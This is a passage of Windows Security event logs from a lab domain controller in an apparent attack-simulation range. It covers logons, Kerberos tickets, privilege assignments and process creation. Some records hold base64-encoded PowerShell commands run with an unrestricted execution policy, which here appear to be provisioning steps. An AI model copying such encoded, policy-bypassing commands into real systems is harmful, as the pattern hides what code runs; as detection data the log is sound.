	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x534022
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{921F7C55-617D-D897-9C23-5E013CD55714}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257663
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{921F7C55-617D-D897-9C23-5E013CD55714}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257662
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{921F7C55-617D-D897-9C23-5E013CD55714}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257661
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257681
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5371E1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257680
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5371E1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E70C60B7-55FD-4E08-B8F7-5F60FBB5CF55}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257679
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E70C60B7-55FD-4E08-B8F7-5F60FBB5CF55}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257678
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E70C60B7-55FD-4E08-B8F7-5F60FBB5CF55}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257677
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257676
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ac
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1288
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257675
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x105c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257674
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x109c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257690
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb48
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1288
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG4AcwB0AGEAbABsAC0AUABhAGMAawBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAtAE4AYQBtAGUAIABOAHUARwBlAHQAIAAtAE0AaQBuAGkAbQB1AG0AVgBlAHIAcwBpAG8AbgAgADIALgA4AC4ANQAuADIAMAAxACAALQBGAG8AcgBjAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257689
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES2D98.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC501F2FBD9FC048EC8428E955C7A6C47.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257688
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1288
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\vxl04stj.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257687
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x537C5F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257686
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x537C5F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F11ED9C3-E467-E64B-BCC6-2E77BF7B2731}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257685
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F11ED9C3-E467-E64B-BCC6-2E77BF7B2731}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257684
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F11ED9C3-E467-E64B-BCC6-2E77BF7B2731}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257683
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257682
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257693
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc10
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x910
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
